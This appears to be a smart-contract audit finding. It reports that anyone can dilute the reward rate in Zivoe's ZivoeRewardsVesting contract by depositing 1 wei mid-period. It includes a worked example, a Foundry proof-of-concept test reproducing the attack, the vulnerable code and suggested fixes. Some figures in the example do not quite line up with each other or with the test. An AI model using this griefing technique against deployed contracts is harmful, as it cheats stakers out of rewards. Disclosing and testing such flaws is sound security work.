Tangy Concrete Chimpanzee

medium

# A malicious actor can reduce the reward rate in ZivoeRewardsVesting, depriving stakers of the rewards they rightfully deserve within the same timeframe.

## Summary

## Vulnerability Detail

When users participate in the Initial Tranche Offering by depositing in the junior or senior tranche, they are entitled to 1zJTT and 1pzJTT, as well as 1zSTT and 3pzSTT, respectively. The pzSTT and pzJTT are the rewards for participating in the tranches, rewards redeemable in proportion to the total capital contributed during the ITO, and the 5% of ZVE total supply allocated to rewards vesting.

Once the ITO ends or the funds get migrated before the end of the ITO, whichever happens first, the users get to claim the tranche token w.r.t. the amount of stablecoins deposited into either of the tranches. In addition, a vesting schedule is created. The vesting schedule dictates how the redeemed rewards (pzSTT and pzJTT) from the ITO are distributed over time. 

Starting at the vesting cliff or the end of the vesting schedule, the user can claim the ZVE proportional to the pzSTT and/or pZJTT they own. For refraining from withdrawing their tokens starting from the cliff period, the users are rewarded based on that.

**â©â© _This means the time with which the user kept their tokens in the contract is directly proportional to the rewards they get._**

```solidity
     function depositReward(address _rewardsToken, uint256 reward) external updateReward(address(0)) nonReentrant {
        ..............

        if (block.timestamp >= rewardData[_rewardsToken].periodFinish) {
            rewardData[_rewardsToken].rewardRate = reward.div(rewardData[_rewardsToken].rewardsDuration);
>>>>    } else {
            uint256 remaining = rewardData[_rewardsToken].periodFinish.sub(block.timestamp);
            uint256 leftover = remaining.mul(rewardData[_rewardsToken].rewardRate);
            rewardData[_rewardsToken].rewardRate = reward.add(leftover).div(rewardData[_rewardsToken].rewardsDuration);
        }

        ..............
    }
```

As it turns out, anyone can call the donate rewards to the contract by calling [`ZivoeRewardsVesting::depositReward`()](https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/ZivoeRewardsVesting.sol#L352C5-L367C6). This function recalculates the rewards to be distributed and resets how long the newly calculated reward is distributed if the current reward distribution hasn't ended yet. Since this ties into the reward rate, the stakers will be entitled to lesser rewards in the same timeframe as when the rewards haven't been deposited. 

_ðŸ›‘ðŸ›‘ This is especially serious because those who are not invested can donate 1 wei of rewards in the contract. This means the cost and barrier of entry for this attack is limited_

**How would this attack play out?**
- ZVL calls `ZivoeRewardVesting::addReward()` to add the rewards and set the duration.
- Say 100,000 DAI is to be distributed in 100 days. ZVL then calls `ZivoeRewardVesting::depositReward()` accordingly. This effectively means the reward rate is 1000 DAI per day.
- 0n the 98th day, when 97,000 DAI have been distributed, a malicious actor calls `ZivoeRewardVesting::depositReward()` with 1wei of DAI, because the reward period for the previous reward deposit has not ended, the leftover is aggregated to the new deposit, in this case (1 + 3000e18). According to the calculation, this is to be shared over the reward duration, which was initially set to 100 days. The reward rate changes from 1000 DAI per day to 30 DAI per day ((3000e18 + 1) / 100), a 97% reduction from the previous value.

## Impact

The users are entitled to lesser rewards over the same period than they would have been entitled to. Over 100 days, the users are entitled to 100,000 DAI, but they are now entitled to 97,090(97000 DAI + (30 DAI * 3 days)), losing out on 2,910 DAI in 3 days. 

## Proof of Concept

_Add this in Test_ZivoeRewardsVesting.sol_

```solidity
    function test_ZivoeRewardsVesting_depositReward_substate_rewardsRipping() public {
        uint256 deposit = 100_000 ether;

        // Pre-state.
        uint256 _preDAI = IERC20(DAI).balanceOf(address(vestZVE));

        (
            uint256 rewardsDuration,
            uint256 periodFinish,
            uint256 rewardRate,
            uint256 lastUpdateTime,
            uint256 rewardPerTokenStored
        ) = vestZVE.rewardData(DAI);

        assert(block.timestamp >= periodFinish);

        // First depositReward().
        mint("DAI", address(bob), deposit);
        assert(bob.try_approveToken(DAI, address(vestZVE), deposit));

        hevm.expectEmit(true, true, false, true, address(vestZVE));
        emit RewardDeposited(DAI, deposit, address(bob));
        assert(bob.try_depositReward(address(vestZVE), DAI, deposit));

        // Post-state.
        assertEq(IERC20(DAI).balanceOf(address(vestZVE)), _preDAI + deposit);

        (
            rewardsDuration,
            periodFinish,
            rewardRate,
            lastUpdateTime,
            rewardPerTokenStored
        ) = vestZVE.rewardData(DAI);

        assertEq(rewardsDuration, 30 days);
        assertEq(periodFinish, block.timestamp + rewardsDuration);

        //Reward Rate is in seconds, this converts it to a day
        emit log_named_uint("Upon deposit of Rewards, the current reward rate is ", (rewardRate * 1 days)/1 ether);

        //Fast forward 27 days

        hevm.warp(periodFinish - 3 days);

        console.log(unicode"\nAfter a 27 day Reward Distribution Period, Another reward deposit by a malicious actor\n");

        //Another depositReward().
        mint("DAI", address(bob), 1);
        assert(bob.try_approveToken(DAI, address(vestZVE), 1));

        hevm.expectEmit(true, true, false, true, address(vestZVE));
        emit RewardDeposited(DAI, 1, address(bob));
        assert(bob.try_depositReward(address(vestZVE), DAI, 1));

        assertEq(IERC20(DAI).balanceOf(address(vestZVE)), _preDAI + deposit + 1);

        (
            rewardsDuration,
            periodFinish,
            rewardRate,
            lastUpdateTime,
            rewardPerTokenStored
        ) = vestZVE.rewardData(DAI);

        assertEq(rewardsDuration, 30 days);
        assertEq(periodFinish, block.timestamp + rewardsDuration);

        emit log_named_uint("Upon deposit of Rewards, the current reward rate is ", (rewardRate * 1 days)/ 1 ether);
    }
```

## Code Snippet

```solidity
    function depositReward(address _rewardsToken, uint256 reward) external updateReward(address(0)) nonReentrant {
        IERC20(_rewardsToken).safeTransferFrom(_msgSender(), address(this), reward);

        if (block.timestamp >= rewardData[_rewardsToken].periodFinish) {
            rewardData[_rewardsToken].rewardRate = reward.div(rewardData[_rewardsToken].rewardsDuration);
        } else {
            uint256 remaining = rewardData[_rewardsToken].periodFinish.sub(block.timestamp);
            uint256 leftover = remaining.mul(rewardData[_rewardsToken].rewardRate);
            rewardData[_rewardsToken].rewardRate = reward.add(leftover).div(rewardData[_rewardsToken].rewardsDuration);
        }

        rewardData[_rewardsToken].lastUpdateTime = block.timestamp;
        rewardData[_rewardsToken].periodFinish = block.timestamp.add(rewardData[_rewardsToken].rewardsDuration);
        emit RewardDeposited(_rewardsToken, reward, _msgSender());
    }
```

## Tool used

Manual Review & Foundry Testing

## Recommendation
1. Use a weighting system determined by which is more, leftover or the new deposit and these weights are used in calculating the new reward rate.
2. New reward deposits should only be accepted if the current distribution is exhausted.